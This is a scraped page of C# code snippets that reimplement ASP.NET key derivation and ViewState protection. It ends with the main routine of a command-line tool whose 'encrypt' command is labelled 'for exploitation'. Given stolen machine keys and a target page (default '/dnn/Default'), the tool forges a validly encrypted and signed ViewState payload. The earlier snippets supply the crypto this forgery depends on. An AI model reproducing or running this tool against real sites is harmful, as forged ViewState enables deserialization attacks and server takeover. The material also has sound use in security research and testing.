Exemple #1
0
 // ctor for unit testing
 public Purpose(string primaryPurpose, string[] specificPurposes, CryptographicKey derivedEncryptionKey, CryptographicKey derivedValidationKey)
 {
     PrimaryPurpose       = primaryPurpose;
     SpecificPurposes     = specificPurposes ?? new string[0];
     DerivedEncryptionKey = derivedEncryptionKey;
     DerivedValidationKey = derivedValidationKey;
     SaveDerivedKeys      = (SpecificPurposes.Length == 0);
 }
Exemple #2
0
        public CryptographicKey GetDerivedValidationKey(IMasterKeyProvider masterKeyProvider, KeyDerivationFunction keyDerivationFunction)
        {
            // has a key already been stored?
            CryptographicKey actualDerivedKey = DerivedValidationKey;

            if (actualDerivedKey == null)
            {
                CryptographicKey masterKey = masterKeyProvider.GetValidationKey();
                actualDerivedKey = keyDerivationFunction(masterKey, this);

                // only save the key back to storage if this Purpose is configured to do so
                if (SaveDerivedKeys)
                {
                    DerivedValidationKey = actualDerivedKey;
                }
            }

            return(actualDerivedKey);
        }
Exemple #3
0
        // Implements the KeyDerivationFunction delegate signature; public entry point to the API.
        public static CryptographicKey DeriveKey(CryptographicKey keyDerivationKey, Purpose purpose)
        {
            // After consultation with the crypto board, we have decided to use HMACSHA512 as the PRF
            // to our KDF. The reason for this is that our PRF is an HMAC, so the total entropy of the
            // PRF is given by MIN(key derivation key length, HMAC block size). It is conceivable that
            // a developer might specify a key greater than 256 bits in length, at which point using
            // a shorter PRF like HMACSHA256 starts discarding entropy. But from the crypto team's
            // perspective it is unreasonable for a developer to supply a key greater than 512 bits,
            // so there's no real harm in us limiting our PRF entropy to 512 bits (HMACSHA512).
            //
            // On 64-bit platforms, HMACSHA512 matches or outperforms HMACSHA256 in our perf testing.
            // On 32-bit platforms, HMACSHA512 is around 1/3 the speed of HMACSHA256. In both cases, we
            // try to cache the derived CryptographicKey wherever we can, so this shouldn't be a
            // bottleneck regardless.

            using (HMACSHA512 hmac = CryptoAlgorithms.CreateHMACSHA512(keyDerivationKey.GetKeyMaterial())) {
                byte[] label, context;
                purpose.GetKeyDerivationParameters(out label, out context);

                byte[] derivedKey = DeriveKeyImpl(hmac, label, context, keyDerivationKey.KeyLength);
                return(new CryptographicKey(derivedKey));
            }
        }
Exemple #4
0
        static int Main(string[] args)
        {
            Option[] opts =
            {
                new Option("--ek", "encryption key")
                {
                    Argument = new Argument <string>()
                },
                new Option("--vk", "validation key")
                {
                    Argument = new Argument <string>()
                },
                new Option("--msg", "base64 encoded message to encrypt/decrypt")
                {
                    Argument = new Argument <string>()
                },
                new Option("--alg", "encryption algorithm")
                {
                    Argument = new Argument <string>(defaultValue: () => "3DES")
                },
                new Option("--hash", "hashing algorithm")
                {
                    Argument = new Argument <string>(defaultValue: () => "SHA1")
                },
                new Option("--url", "public URL")
                {
                    Argument = new Argument <string>(defaultValue: () => "/dnn/Default")
                },
            };

            var rootCmd = new RootCommand();

            var encryptCmd = new Command("encrypt");

            encryptCmd.Description = "encrypt a ViewState (for exploitation)";
            Array.ForEach(opts, opt => encryptCmd.AddOption(opt));
            rootCmd.AddCommand(encryptCmd);

            var decryptCmd = new Command("decrypt");

            decryptCmd.Description = "decrypt a ViewState (verify keys / algs)";
            Array.ForEach(opts, opt => decryptCmd.AddOption(opt));
            rootCmd.AddCommand(decryptCmd);

            ICryptoService GetCrypto(string ek, string vk, string alg, string hash, string url)
            {
                string type = url.TrimStart('/').Replace('/', '_').ToUpper() + "_ASPX";
                string dir  = "/" + url.TrimStart('/').Split('/')[0].ToUpper();

                Purpose purpose = new Purpose("WebForms.HiddenFieldPageStatePersister.ClientState",
                                              new string[] {
                    "TemplateSourceDirectory: " + dir,
                    "Type: " + type,
                }
                                              );

                IMasterKeyProvider      mkp = new FakeMasterKeyProvider(ek, vk);
                ICryptoAlgorithmFactory caf = new FakeCryptoAlgorithmFactory(alg, hash);

                CryptographicKey dek = purpose.GetDerivedEncryptionKey(mkp, SP800_108.DeriveKey);
                CryptographicKey dvk = purpose.GetDerivedValidationKey(mkp, SP800_108.DeriveKey);

                return(new NetFXCryptoService(caf, dek, dvk));
            }

            void Encrypt(string ek, string vk, string msg, string alg, string hash, string url)
            {
                var cs = GetCrypto(ek, vk, alg, hash, url);

                byte[] payload = System.Convert.FromBase64String(msg);
                byte[] data    = cs.Protect(payload);
                Console.WriteLine(System.Convert.ToBase64String(data));
            }

            void Decrypt(string ek, string vk, string msg, string alg, string hash, string url)
            {
                var cs = GetCrypto(ek, vk, alg, hash, url);

                byte[] payload = System.Convert.FromBase64String(msg);
                byte[] data    = cs.Unprotect(payload);
                Console.WriteLine(System.Text.Encoding.Default.GetString(data));
            }

            encryptCmd.Handler = CommandHandler.Create <string, string, string, string, string, string>(Encrypt);
            decryptCmd.Handler = CommandHandler.Create <string, string, string, string, string, string>(Decrypt);

            return(rootCmd.InvokeAsync(args).Result);
        }
 public NetFXCryptoService(ICryptoAlgorithmFactory cryptoAlgorithmFactory, CryptographicKey encryptionKey, CryptographicKey validationKey, bool predictableIV = false)
 {
     _cryptoAlgorithmFactory = cryptoAlgorithmFactory;
     _encryptionKey          = encryptionKey;
     _validationKey          = validationKey;
     _predictableIV          = predictableIV;
 }